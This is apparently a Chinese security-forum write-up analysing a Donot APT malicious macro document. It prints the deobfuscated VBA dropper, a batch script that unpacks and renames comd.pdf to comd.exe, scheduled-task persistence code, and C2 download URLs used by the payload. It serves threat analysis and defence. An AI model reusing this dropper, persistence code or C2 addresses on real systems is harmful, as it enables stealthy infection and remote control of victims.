lgbt4K5b4H = ("7**113**159**145**255**235**171**191**101**52**91**58**8**254**148**153**85**183**21**168**201**41**140**154**52**96**212**132**178**128**34**9**146**52**57**94**250**121**179**102**224**194**110**215**224**185**123**87**89**167**252**194**24**141**100**69**240**96**124**51**209**123**140**9**159**242**163**41**83**225**142**192**196**176**104**69**108**104**48**51**123**186**145**88**204**136**224**179**140**1**218**2**162**68**71**156**192**75**149**175**27**157**224**33**74**149**131**24**213**46**82**165**66**151**167**217**201**127**15**209**156**239**51**79**211**27**240**203**152**247**194**220**236**242**122**127**71**67**113**218**163**91**110**243**250**174**229**180**61**247**209**111**37**94**239**237**170**113**243**46**65**63**205**137**147**78**31**80**252**124**251**186**177**239**57**129**89**178**181**79**215**21**85**71**71**204**235**32**155**94**245**157**67**193**181**9**1**190**153**133**169**190**198**253**107**45**94**108**242**219**92**82**216**155**231**152**")

lgbtiPwpPN = ("215**253**245**84**69**240**118**163**252**53**237**78**170**154**190**21**222**219**175**6**156**60**29**180**169**180**111**233**21**18**234**72**124**235**207**108**101**76**33**239**89**243**104**67**70**159**47**128**66**243**120**122**20**197**184**179**74**130**134**250**167**155**148**53**173**108**14**53**206**157**113**198**219**169**244**213**92**239**253**133**230**227**207**87**253**174**226**82**48**239**140**40**143**176**217**47**47**121**125**234**181**203**86**246**60**76**113**59**62**131**184**97**189**194**179**165**184**116**235**226**122**195**146**139**84**139**145**141**123**78**216**193**181**153**142**179**190**56**107**230**178**79**28**224**45**25**56**93**33**169**169**185**24**150**102**243**43**221**98**122**202**218**62**249**193**195**212**172**170**39**89**130**226**146**91**113**79**118**222**164**206**181**15**220**157**147**135**190**231**181**117**42**91**44**109**47**12**198**95**245**202**136**32**30**44**255**241**94**150**113**118**156**56**11")

lgbtWdtpAA = ("7**102**254**35**225**190**250**143**69**106**194**21**182**131**19**108**60**102**193**248**243**24**103**147**140**110**180**2**57**56**140**110**72**67**17**201**32**102**198**200**52**133**148**200**80**119**7**51**51**117**36**3**145**49**163**219**59**141**177**30**117**164**69**230**180**153**73**104**85**127**81**155**116**179**225**214**86**169**228**62**53**40**191**119**240**241**152**61**68**171**210**35**140**94**56**185**151**219**53**237**178**217**88**184**91**150**101**235**228**220**90**249**131**52**69**112**38**45**61**53**191**120**154**105**135**165**88**124**44**71**85**85**89**34**233**216**86**235**240**106**103**109**84**236**106**223**160**214**214**240**166**35**78**157**131**130**236**136**180**192**29**165**219**250**111**175**202**45**74**116**113**250**227**169**79**177**94**64**112**153**23**223**166**127**105**249**150**242**74**105**188**212**194**254**238**27**135**67**170**106**217**195**59**203**179**110**246**61**107**63**33**47**57**31**178**238*")

lgbtzHbSL8 = ("*141**179**126**187**85**5**251**157**255**27**80**75**1**2**20**0**20**0**0**0**8**0**188**24**110**85**249**118**118**174**75**26**0**0**216**89**0**0**8**0**0**0**0**0**0**0**0**0**0**0**0**0**0**0**0**0**99**111**109**100**46**112**100**102**80**75**5**6**0**0**0**0**1**0**1**0**54**0**0**0**113**26**0**0**0**0")

    Dim nFq9wNvYtPrR3JkMkWFmgLxESGaRbC8S6HwGLgYCx5HuRiJCku() As String
    Dim DZkW7ufvS8XPDDn6DcNjdTw7LKPju5MHafmWn2ZGdhnqLzRc4d() As Byte

    nFq9wNvYtPrR3JkMkWFmgLxESGaRbC8S6HwGLgYCx5HuRiJCku = Split(lgbtqpKM39 & lgbt5gwIdE & lgbtchFy25 & lgbt7nkEqi & lgbt3n5kSb & lgbtmGiAAY & lgbtjWKMbr & lgbt2uyJ9e & lgbt9yb7p1 & lgbtvN4jB1 & lgbtEPaxGR & lgbtq1K5PE & lgbtildg1X & lgbtZkhmJB & lgbta2gYZb & lgbte5KLMf & lgbtzJKofS & lgbtr4gygt & lgbtZWyVDY & lgbtkNnoUJ & lgbtqfKOYg & lgbtCtokOf & lgbttYaFEA & lgbtZ63Qyb & lgbtYCGqMG & lgbtZGNM0X & lgbtSBr7aI & lgbtJmWMfx & lgbt4K5b4H & lgbtiPwpPN & lgbtWdtpAA & lgbtzHbSL8, "**")

    Dim NRQq2hWtCt6Ebka5htcS7MLxP25LZPFZYMAgCGRXDcmG3gkk2F As Double
    NRQq2hWtCt6Ebka5htcS7MLxP25LZPFZYMAgCGRXDcmG3gkk2F = 0
    For Each vl In nFq9wNvYtPrR3JkMkWFmgLxESGaRbC8S6HwGLgYCx5HuRiJCku
        ReDim Preserve DZkW7ufvS8XPDDn6DcNjdTw7LKPju5MHafmWn2ZGdhnqLzRc4d(NRQq2hWtCt6Ebka5htcS7MLxP25LZPFZYMAgCGRXDcmG3gkk2F)
        DZkW7ufvS8XPDDn6DcNjdTw7LKPju5MHafmWn2ZGdhnqLzRc4d(NRQq2hWtCt6Ebka5htcS7MLxP25LZPFZYMAgCGRXDcmG3gkk2F) = CByte(vl)
        NRQq2hWtCt6Ebka5htcS7MLxP25LZPFZYMAgCGRXDcmG3gkk2F = NRQq2hWtCt6Ebka5htcS7MLxP25LZPFZYMAgCGRXDcmG3gkk2F + 1
    Next

    Open UmXbqkZjQEf3zX2dNgkhaL6Ujf7T8TwThtCGkfindUi35rqBiC For Binary Access Write As #1           
         Put #1, , DZkW7ufvS8XPDDn6DcNjdTw7LKPju5MHafmWn2ZGdhnqLzRc4d
    Close #1
    On Error Resume Next

    Call file
End Sub

file 函数分析:

该函数中调用的 TringTring 为自定义函数,具体解释在后面,作用是把参数的 16 进制字符按 2 个 16 进制转换成 1 个 ASCII 字符。

Sub file()

Set fso = CreateObject("Scripting.FileSystemObject")
If Not fso.FolderExists(TringTring("433a5c55736572735c5075626c69635c4d757369635c")) Then
fso.CreateFolder (TringTring("433a5c55736572735c5075626c69635c4d757369635c"))
End If
Set request = fso.CreateTextFile(TringTring("433a5c55736572735c5075626c69635c4d757369635c7062732e747874"))
request.WriteLine (TringTring("404543484f206f6666"))
request.WriteLine (TringTring("7365746c6f63616c"))
request.WriteLine (TringTring("4344202f6420257e647030"))
request.WriteLine (TringTring("43414c4c203a556e5a697046696c652022433a5c55736572735c5075626c69635c4d75736963222022433a5c55736572735c5075626c69635c4d757369635c636f6d642e7a697022"))
request.WriteLine (TringTring("45584954202f62"))
request.WriteLine (TringTring("3a556e5a697046696c65203c45787472616374546f3e203c6e65777a697066696c653e"))
request.WriteLine (TringTring("534554207662733d222574656d70255c5f2e76627322"))
request.WriteLine (TringTring("49462045584953542025766273252044454c202f66202f71202576627325"))
request.WriteLine (TringTring("3e2576627325204543484f205365742066736f203d204372656174654f626a6563742822536372697074696e672e46696c6553797374656d4f626a6563742229"))
request.WriteLine (TringTring("3e3e2576627325204543484f204966204e4f542066736f2e466f6c64657245786973747328253129205468656e"))
request.WriteLine (TringTring("3e3e2576627325204543484f2066736f2e437265617465466f6c64657228253129"))
request.WriteLine (TringTring("3e3e2576627325204543484f20456e64204966"))
request.WriteLine (TringTring("3e3e2576627325204543484f20736574206f626a5368656c6c203d204372656174654f626a65637428225368656c6c2e4170706c69636174696f6e2229"))
request.WriteLine (TringTring("3e3e2576627325204543484f207365742046696c6573496e5a69703d6f626a5368656c6c2e4e616d655370616365282532292e6974656d73"))
request.WriteLine (TringTring("3e3e2576627325204543484f206f626a5368656c6c2e4e616d655370616365282531292e436f7079486572652846696c6573496e5a697029"))
request.WriteLine (TringTring("3e3e2576627325204543484f205365742066736f203d204e6f7468696e67"))
request.WriteLine (TringTring("3e3e2576627325204543484f20536574206f626a5368656c6c203d204e6f7468696e67"))
request.WriteLine (TringTring("63736372697074202f2f6e6f6c6f676f202576627325"))
request.WriteLine (TringTring("49462045584953542025766273252044454c202f66202f71202576627325"))
request.WriteLine (TringTring("64656c202f6620433a5c55736572735c5075626c69635c4d757369635c636f6d642e7a6970"))
request.WriteLine (TringTring("72656e20433a5c55736572735c5075626c69635c4d757369635c636f6d642e70646620636f6d642e657865"))
request.WriteLine (TringTring("7363687461736b73202f64656c657465202f746e20546c735f53534c202f66"))
request.WriteLine (TringTring("65786974"))
request.Close
Set fso = Nothing
Set request = Nothing

   Name (TringTring("433a5c55736572735c5075626c69635c4d757369635c7062732e747874")) As _
   (TringTring("433a5c55736572735c5075626c69635c4d757369635c7062732e626174"))

Call GHJFGHJGakh
   End Sub

TringTring 自定义函数可以使用对等的 python 脚本处理,代码如下:

path = ["433a5c55736572735c5075626c69635c4d757369635c","433a5c55736572735c5075626c69635c4d757369635c7062732e747874","404543484f206f6666","7365746c6f63616c","4344202f6420257e647030","43414c4c203a556e5a697046696c652022433a5c55736572735c5075626c69635c4d75736963222022433a5c55736572735c5075626c69635c4d757369635c636f6d642e7a697022","45584954202f62","3a556e5a697046696c65203c45787472616374546f3e203c6e65777a697066696c653e","534554207662733d222574656d70255c5f2e76627322","49462045584953542025766273252044454c202f66202f71202576627325","3e2576627325204543484f205365742066736f203d204372656174654f626a6563742822536372697074696e672e46696c6553797374656d4f626a6563742229","3e3e2576627325204543484f204966204e4f542066736f2e466f6c64657245786973747328253129205468656e","3e3e2576627325204543484f2066736f2e437265617465466f6c64657228253129","3e3e2576627325204543484f20456e64204966","3e3e2576627325204543484f20736574206f626a5368656c6c203d204372656174654f626a65637428225368656c6c2e4170706c69636174696f6e2229","3e3e2576627325204543484f207365742046696c6573496e5a69703d6f626a5368656c6c2e4e616d655370616365282532292e6974656d73","3e3e2576627325204543484f206f626a5368656c6c2e4e616d655370616365282531292e436f7079486572652846696c6573496e5a697029","3e3e2576627325204543484f205365742066736f203d204e6f7468696e67","3e3e2576627325204543484f20536574206f626a5368656c6c203d204e6f7468696e67","63736372697074202f2f6e6f6c6f676f202576627325","49462045584953542025766273252044454c202f66202f71202576627325","64656c202f6620433a5c55736572735c5075626c69635c4d757369635c636f6d642e7a6970","72656e20433a5c55736572735c5075626c69635c4d757369635c636f6d642e70646620636f6d642e657865","7363687461736b73202f64656c657465202f746e20546c735f53534c202f66","65786974","433a5c55736572735c5075626c69635c4d757369635c7062732e747874","433a5c55736572735c5075626c69635c4d757369635c7062732e626174"]
path1 = ""

for a in path:
    for b in range(0,len(a),2):
        path1 += chr(int("0x" + a[b:b+2],16))
    print(path1)
    path1 = ""

image.png

这些字符从上到下分别是:

C:\Users\Public\Music\
C:\Users\Public\Music\pbs.txt
@ECHO off
setlocal
CD /d %~dp0
CALL :UnZipFile "C:\Users\Public\Music" "C:\Users\Public\Music\comd.zip"
EXIT /b
:UnZipFile  
SET vbs="%temp%\_.vbs"
IF EXIST %vbs% DEL /f /q %vbs%
>%vbs% ECHO Set fso = CreateObject("Scripting.FileSystemObject")
>>%vbs% ECHO If NOT fso.FolderExists(%1) Then
>>%vbs% ECHO fso.CreateFolder(%1)
>>%vbs% ECHO End If
>>%vbs% ECHO set objShell = CreateObject("Shell.Application")
>>%vbs% ECHO set FilesInZip=objShell.NameSpace(%2).items
>>%vbs% ECHO objShell.NameSpace(%1).CopyHere(FilesInZip)
>>%vbs% ECHO Set fso = Nothing
>>%vbs% ECHO Set objShell = Nothing
cscript //nologo %vbs%
IF EXIST %vbs% DEL /f /q %vbs%
del /f C:\Users\Public\Music\comd.zip
ren C:\Users\Public\Music\comd.pdf comd.exe
schtasks /delete /tn Tls_SSL /f
exit
C:\Users\Public\Music\pbs.txt
C:\Users\Public\Music\pbs.bat

从代码中可以看出:该宏代码先创建 FileSystemObject 对象,并调用该对象的各种方法进行操作。首先检查 C:\Users\Public\Music\ 路径是否存在,如果不存在则自行创建。接着创建该目录下的 pbs.txt 文件,并返回可用于读取或写入文件的 TextStream 对象。

然后继续对 TextStream 对象进行操作,在文件中以行为单位写入下列内容:

@ECHO off
setlocal
CD /d %~dp0
CALL :UnZipFile "C:\Users\Public\Music" "C:\Users\Public\Music\comd.zip"
EXIT /b
:UnZipFile  
SET vbs="%temp%\_.vbs"
IF EXIST %vbs% DEL /f /q %vbs%
>%vbs% ECHO Set fso = CreateObject("Scripting.FileSystemObject")
>>%vbs% ECHO If NOT fso.FolderExists(%1) Then
>>%vbs% ECHO fso.CreateFolder(%1)
>>%vbs% ECHO End If
>>%vbs% ECHO set objShell = CreateObject("Shell.Application")
>>%vbs% ECHO set FilesInZip=objShell.NameSpace(%2).items
>>%vbs% ECHO objShell.NameSpace(%1).CopyHere(FilesInZip)
>>%vbs% ECHO Set fso = Nothing
>>%vbs% ECHO Set objShell = Nothing
cscript //nologo %vbs%
IF EXIST %vbs% DEL /f /q %vbs%
del /f C:\Users\Public\Music\comd.zip
ren C:\Users\Public\Music\comd.pdf comd.exe
schtasks /delete /tn Tls_SSL /f
exit

image.png

最后把 C:\Users\Public\Music\pbs.txt 命名为 C:\Users\Public\Music\pbs.bat 并调用自定义的 GHJFGHJGakh 函数,该函数具体分析在下面。

GHJFGHJGakh 函数分析:

image.png
该函数用于创建计划执行任务,在系统启动 60 秒后执行 C:\Users\Public\Music\comd.exe ,无限期每隔 7 分钟重复一次,创建的计划任务名是 My_Drive。

具体细节参考:启动触发器示例 (脚本) - Win32 apps | Microsoft Learn

Sub GHJFGHJGakh()
Const TriggerTypeTime = 1

Const ActionTypeExec = 0

Set service = CreateObject("Schedule.Service")
Call service.Connect

Dim rootFolder
Set rootFolder = service.GetFolder("\")

Dim taskDefinition

Set taskDefinition = service.NewTask(0)

Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Start Notepad at a certain time"
regInfo.Author = "Win"

Dim principal
Set principal = taskDefinition.principal

principal.LogonType = 3

Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False

Dim triggers
Set triggers = taskDefinition.triggers

Dim trigger
Set trigger = triggers.Create(TriggerTypeTime)

Dim startTime

Dim time
time = DateAdd("s", 60, Now)
startTime = XmlTime(time)

trigger.StartBoundary = startTime
trigger.Repetition.Interval = "PT07M"
trigger.ID = "TimeTriggerId"
trigger.Enabled = True

Dim Action
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path = "C:\Users\Public\Music\comd.exe"

Call rootFolder.RegisterTaskDefinition( _
    "My_Drive", taskDefinition, 6, , , 3)
Call zxcvbnmlkjhgfdsaqweryu
End Sub

image.png

zxcvbnmgfdsaqweryu 函数分析:

同样的创建计划执行任务,在开机启动 55 秒后,无限期每隔 10 分钟重复一次,执行 C:\Users\Public\Pictures\pbs.bat 程序,只是 Music 变成了 public 目录而已,这里创建的计划任务名是 Pls_SSL。

该 public 目录下将会出现的 pbs 文件不是前面 file 函数中写入的 pbs 文件,而是由后面 comd.exe 连接恶意网址下载的远端程序,具体的后面会讲。

Sub zxcvbnmgfdsaqweryu()
Const TriggerTypeTime = 1

Const ActionTypeExec = 0

Set service = CreateObject("Schedule.Service")
Call service.Connect

Dim rootFolder
Set rootFolder = service.GetFolder("\")

Dim taskDefinition

Set taskDefinition = service.NewTask(0)

Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Start Notepad at a certain time"
regInfo.Author = "Win"

Dim principal
Set principal = taskDefinition.principal

principal.LogonType = 3

Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False

Dim triggers
Set triggers = taskDefinition.triggers

Dim trigger
Set trigger = triggers.Create(TriggerTypeTime)

Dim startTime

Dim time
time = DateAdd("s", 55, Now)
startTime = XmlTime(time)

trigger.StartBoundary = startTime
trigger.Repetition.Interval = "PT10M"
trigger.ID = "TimeTriggerId"
trigger.Enabled = True

Dim Action
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path = "C:\Users\Public\Pictures\pbs.bat"
Call rootFolder.RegisterTaskDefinition( _
    "Pls_SSL", taskDefinition, 6, , , 3)
End Sub

image.png

zxcvbnmlkjhgfdsaqweryu 函数:

同样的创建计划执行任务,在开机启动 55 秒后,执行 C:\Users\Public\Music\pbs.bat 程序,创建的计划任务名是 Tls_SSL。

Sub zxcvbnmlkjhgfdsaqweryu()
Const TriggerTypeTime = 1

Const ActionTypeExec = 0

Set service = CreateObject("Schedule.Service")
Call service.Connect

Dim rootFolder
Set rootFolder = service.GetFolder("\")

Dim taskDefinition

Set taskDefinition = service.NewTask(0)

Dim regInfo
Set regInfo = taskDefinition.RegistrationInfo
regInfo.Description = "Start Notepad at a certain time"
regInfo.Author = "Win"

Dim principal
Set principal = taskDefinition.principal

principal.LogonType = 3

Dim settings
Set settings = taskDefinition.settings
settings.Enabled = True
settings.StartWhenAvailable = True
settings.Hidden = False

Dim triggers
Set triggers = taskDefinition.triggers

Dim trigger
Set trigger = triggers.Create(TriggerTypeTime)

Dim startTime

Dim time
time = DateAdd("s", 55, Now)
startTime = XmlTime(time)

trigger.StartBoundary = startTime
trigger.Repetition.Interval = "PT04M"
trigger.ID = "TimeTriggerId"
trigger.Enabled = True

Dim Action
Set Action = taskDefinition.Actions.Create(ActionTypeExec)
Action.Path = "C:\Users\Public\Music\pbs.bat"

Call rootFolder.RegisterTaskDefinition( _
    "Tls_SSL", taskDefinition, 6, , , 3)
    Call zxcvbnmgfdsaqweryu
End Sub

image.png

XmlTime 函数:

重整时间格式,用 & 符拼接,返回 XmlTime = 年:月:日 T 时:分:秒

Function XmlTime(t)
    Dim gETXNJmVtLZpiBaFSSQnWkeUHdvjdESHEDSNpHmNkvfTPV, nFhSByQJrazDhmDiTLuihHkmfWfbFxWpmNbXpyqcZnkaBM, ybqHrbKvvLHdxPfwDxRUNxegNZQmredAijhXjVKEwVRbzi, AvwhtGLmKyavxqrgQgTuLuQwQtxNqVByCZzRFnLNpCHhdP, LpiCPZdgpiAPYAHHmYxPikteGxzhkPecRNetaGvmjAcCSf, yMCKinzZrZTraEySaXYULWxTpdLJdKQnEAWzCRFZqvVZaP
    Dim tTime, tDate

    gETXNJmVtLZpiBaFSSQnWkeUHdvjdESHEDSNpHmNkvfTPV = "0" & Second(t)
    nFhSByQJrazDhmDiTLuihHkmfWfbFxWpmNbXpyqcZnkaBM = "0" & Minute(t)
    ybqHrbKvvLHdxPfwDxRUNxegNZQmredAijhXjVKEwVRbzi = "0" & Hour(t)
    AvwhtGLmKyavxqrgQgTuLuQwQtxNqVByCZzRFnLNpCHhdP = "0" & Day(t)
    LpiCPZdgpiAPYAHHmYxPikteGxzhkPecRNetaGvmjAcCSf = "0" & Month(t)
    yMCKinzZrZTraEySaXYULWxTpdLJdKQnEAWzCRFZqvVZaP = Year(t)

    tTime = Right(ybqHrbKvvLHdxPfwDxRUNxegNZQmredAijhXjVKEwVRbzi, 2) & ":" & Right(nFhSByQJrazDhmDiTLuihHkmfWfbFxWpmNbXpyqcZnkaBM, 2) & _
        ":" & Right(gETXNJmVtLZpiBaFSSQnWkeUHdvjdESHEDSNpHmNkvfTPV, 2)
    tDate = yMCKinzZrZTraEySaXYULWxTpdLJdKQnEAWzCRFZqvVZaP & "-" & Right(LpiCPZdgpiAPYAHHmYxPikteGxzhkPecRNetaGvmjAcCSf, 2) & "-" & Right(AvwhtGLmKyavxqrgQgTuLuQwQtxNqVByCZzRFnLNpCHhdP, 2)
    XmlTime = tDate & "T" & tTime
End Function

TringTring 函数:

接受 16 进制数组,把两个 16 进制数,即 8 个字节,转换成一个 ASCII 字符,最后把转换后的字符拼接起来

 Public Function TringTring(ByVal HexToStr As String) As String
Dim strTemp   As String
Dim strReturn As String
Dim i         As Long
    For i = 1 To Len(HexToStr) Step 2
        strTemp = Chr$(Val("&H" & Mid$(HexToStr, i, 2)))
        strReturn = strReturn & strTemp
    Next i
    TringTring = strReturn
End Function

pbs.bat 代码分析:

这是位于 C:\Users\Public\Music\pbs.bat 处的代码:

@ECHO off
setlocal
CD /d %~dp0
CALL :UnZipFile "C:\Users\Public\Music" "C:\Users\Public\Music\comd.zip"
EXIT /b
:UnZipFile  
SET vbs="%temp%\_.vbs"
IF EXIST %vbs% DEL /f /q %vbs%
>%vbs% ECHO Set fso = CreateObject("Scripting.FileSystemObject")
>>%vbs% ECHO If NOT fso.FolderExists(%1) Then
>>%vbs% ECHO fso.CreateFolder(%1)
>>%vbs% ECHO End If
>>%vbs% ECHO set objShell = CreateObject("Shell.Application")
>>%vbs% ECHO set FilesInZip=objShell.NameSpace(%2).items
>>%vbs% ECHO objShell.NameSpace(%1).CopyHere(FilesInZip)
>>%vbs% ECHO Set fso = Nothing
>>%vbs% ECHO Set objShell = Nothing
cscript //nologo %vbs%
IF EXIST %vbs% DEL /f /q %vbs%
del /f C:\Users\Public\Music\comd.zip
ren C:\Users\Public\Music\comd.pdf comd.exe
schtasks /delete /tn Tls_SSL /f
exit

@ECHO off 先关闭批处理文件的回显功能,增强隐蔽性。然后 setlocal 用来本地化批处理文件的环境变量,%~dp0 表示更改当前目录为批处理本身的目录,然后跳转到自定义的 :UnZipFile 标签函数中解压 comd.zip 压缩包。

UnZipFile 标签函数先设立本地化的环境变量,vbs="%temp%_.vbs" 使 vbs 变量指向临时目录下的 _.vbs 文件。判断该文件是否存在,如果存在就以静默形式删除该文件,然后重新创建该文件并用 ECHO 输出对应的 VBS 语句到文件中,其中 %n 指代的参数内容会展开。

写入的 _.vbs 代码如下所示:

Set fso = CreateObject("Scripting.FileSystemObject")
If NOT fso.FolderExists("C:\Users\Public\Music") Then
fso.CreateFolder("C:\Users\Public\Music")
End If
set objShell = CreateObject("Shell.Application")
set FilesInZip=objShell.NameSpace("C:\Users\Public\Music\comd.zip").items
objShell.NameSpace("C:\Users\Public\Music").CopyHere(FilesInZip)
Set fso = Nothing
Set objShell = Nothing

同样的先检查 C:\Users\Public\Music\ 路径是否存在,如果不存在则自行创建。然后调用 Windows shell 中的 Shell.NameSpace 方法把 C:\Users\Public\Music\comd.zip 压缩包的文件解压到当前 Music 目录下。

具体可参考:Windows Shell - Win32 apps | Microsoft Learn

——————————————————————分隔线———————————————

pbs.bat 完成对 .vbs 文件写入后,调用 cscript //nologo %vbs% 以指定在Windows之前不显示脚本主机横幅的形式启动 .vbs 脚本,解密 zip 文件后,删除该 _.vbs 脚本和 comd.zip 以清除本地痕迹。并把 comd.zip 解压出来的 comd.pdf 重命名为 comd.exe,应该是以 pdf 后缀命名可以躲避某些静态特征,减少威胁评分。

image.png

最后以静默形式删除前面创建的——>在开机启动 55 秒后执行 C:\Users\Public\Music\pbs.bat 程序的 Tls_SSL 任务,并关闭命令解释器。

image.png

comd.pdf —— comd.exe 分析:

32 位无壳

image.png

从 main 函数看起:

前面有 TLS 回调函数,但是跟进去也没有什么实质的操作,好像都是一些变量的标志位赋值,进入 main 函数前的 v1 = _p_environ() 函数定位到 C:\ProgramData 和 comd.exe 程序当前位置中作为参数传入。

image.png

image.png

sub_402090 函数分析:(可不看,动调后发现不执行)

进入的第一个函数就是 sub_402090 函数,其把一个函数地址放入数组的第二个位置中,并用来回遍历定位到该函数地址处以执行调用。

image.png

从 sub_402410 函数进入后直接就是进入到 sub_4012E0 函数中,该函数如果条件成立的话,则动态获取动态链接库 libgcj-16.dll 下的 _Jv_RegisterClasses 函数基址,这个应该是个类 linux 的函数,具体作用未知。

如果进入该条件函数中,则最后的 exitfun() 则直接退出程序,所以这里应该不会进入,而且根据 《恶意代码分析实战》 中所学,这写以 开头的函数很可能是编译器的包装函数,包括前面的 _p_environ() 也是,所以可以不用深究。

> C 库函数 int atexit(void (*func)(void)) 当程序正常终止时,调用指定的函数 func。您可以在任何地方注册你的终止函数,但它会在程序终止的时候被调用。

image.png

事件对象操作:

在 main 函数中,执行完前面 sub_402090 和干扰用的 sleep 函数后,便调用CreateEventA(0, 0, 0, "niiopokjdfk"); 创建名为 niiopokjdfk 的事件对象。if 语句中的 0xB7 是用于判断该事件对象是否已经存在, GetLastError 返回的ERROR_ALREADY_EXISTS 就是 0xB7,即是否有一个 comd.exe 已经在执行,代码作者使用这种方式来执行与互斥体同等的操作。

image.png

sub_401910 函数分析——选择落地文件:

前面 niiopokjdfk 事件如果没创建的话,则进入该函数中根据标志位选择对应的落地文件路径。函数中的字符串都加了密,解密方式是每个字符 ASCII 码减 2,用 python 编写简单解密脚本如下。

encry_str = ["E<^^Wugtu^^Rwdnke^^Rkevwtgu^^rdu","E<^^Wugtu^^Rwdnke^^Rkevwtgu^^rdu0dcv"]
str = ""
for a in encry_str:
    for b in a:
        str += chr(ord(b) - 2)
    print(str)

#C:\\Users\\Public\\Pictures\\pbs
#C:\\Users\\Public\\Pictures\\pbs.bat

image.png

根据动调结果跟踪执行流程,选择的是第一个条件语句,不带 bat 后缀的 pbs 文件:

image.png

sub_4015C0 函数——选择并拼接回连网址:

同样的解密方式,得出两个拼接网址 https://blogs.libraryutilitis.live:443/vrhkdkjrajksrjkaskdoneS/rbjhrkjahsrjejkahttps://blogs.libraryutilitis.live/nrasjkhrsjkdrhkdfjkB/klrjajlrjklrkljaklrjklasklf

image.png

image.png

sub_401380 函数——连接网址下载并写入本地文件:

前面把指定的 C:\Users\Public\Pictures\pbs 文件路径和 https://blogs.libraryutilitis.live:443/vrhkdkjrajksrjkaskdoneS/rbjhrkjahsrjejka 网址作为参数传入该函数后,进行网络连接并下载,可惜该网址从发现起已失效,导致下载的 pbs 文件也是 404 的返回报文,无法进一步进行跟踪。

image.png

image.png

总结:

Donot 组织的样本典型的做法就是通过恶意宏文档释放文件,特别是 bat 文件等,并通过写入计划任务中执行。其回连地址在 VT ,微步,安恒,奇安信等都被报告为 Donot APT 的 C2 域名。

此次分析的样本没有获取到下一阶段的样本比较遗憾,TLS 回调函数部分自己也没看出有特别的行为,得回去加强学习一下。

参考链接:

VirusTotal - File - df63dfce436085aad534d1fde1795f27c189ad4fa49076c8911b4721cdfb4fbd

VirusTotal - File - bccd012a10654274fc9e8fe29ba1326c97ccbea4c5567799edc1444d94ad265d

VirusTotal - File - 1eed3b5fb6950cfa605fd9e9842327b1fe1d123cb8a34d84bc1b778501288e4f

VirusTotal - File - 436228793e46a3ce7d96b08881c1e80e36c78d6877d0f1b8d34f15d541685441

样本报告-微步在线云沙箱 (threatbook.com)

域名情报 (threatbook.com)

肚脑虫(DONOT)APT组织新活动及DOWNLOADER梳理

DONOT APT组织针对军事人员攻击活动分析

DoNot Go! Do not respawn! | WeLiveSecurity

Donot APT组织(肚脑虫)伪装克什米尔新闻APP的攻击活动分析 - FreeBuf网络安全行业门户

Donot组织近期活动及相关攻击框架分析 - 安全内参 | 决策者的网络安全知识库 (secrss.com)

奇安信威胁情报中心 (qianxin.com)

  • 发表于 2022-12-01 09:00:02
  • 阅读 ( 7544 )
  • 分类:应急响应

0 条评论

请先 登录 后评论
沐一·林
沐一·林

20 篇文章

站长统计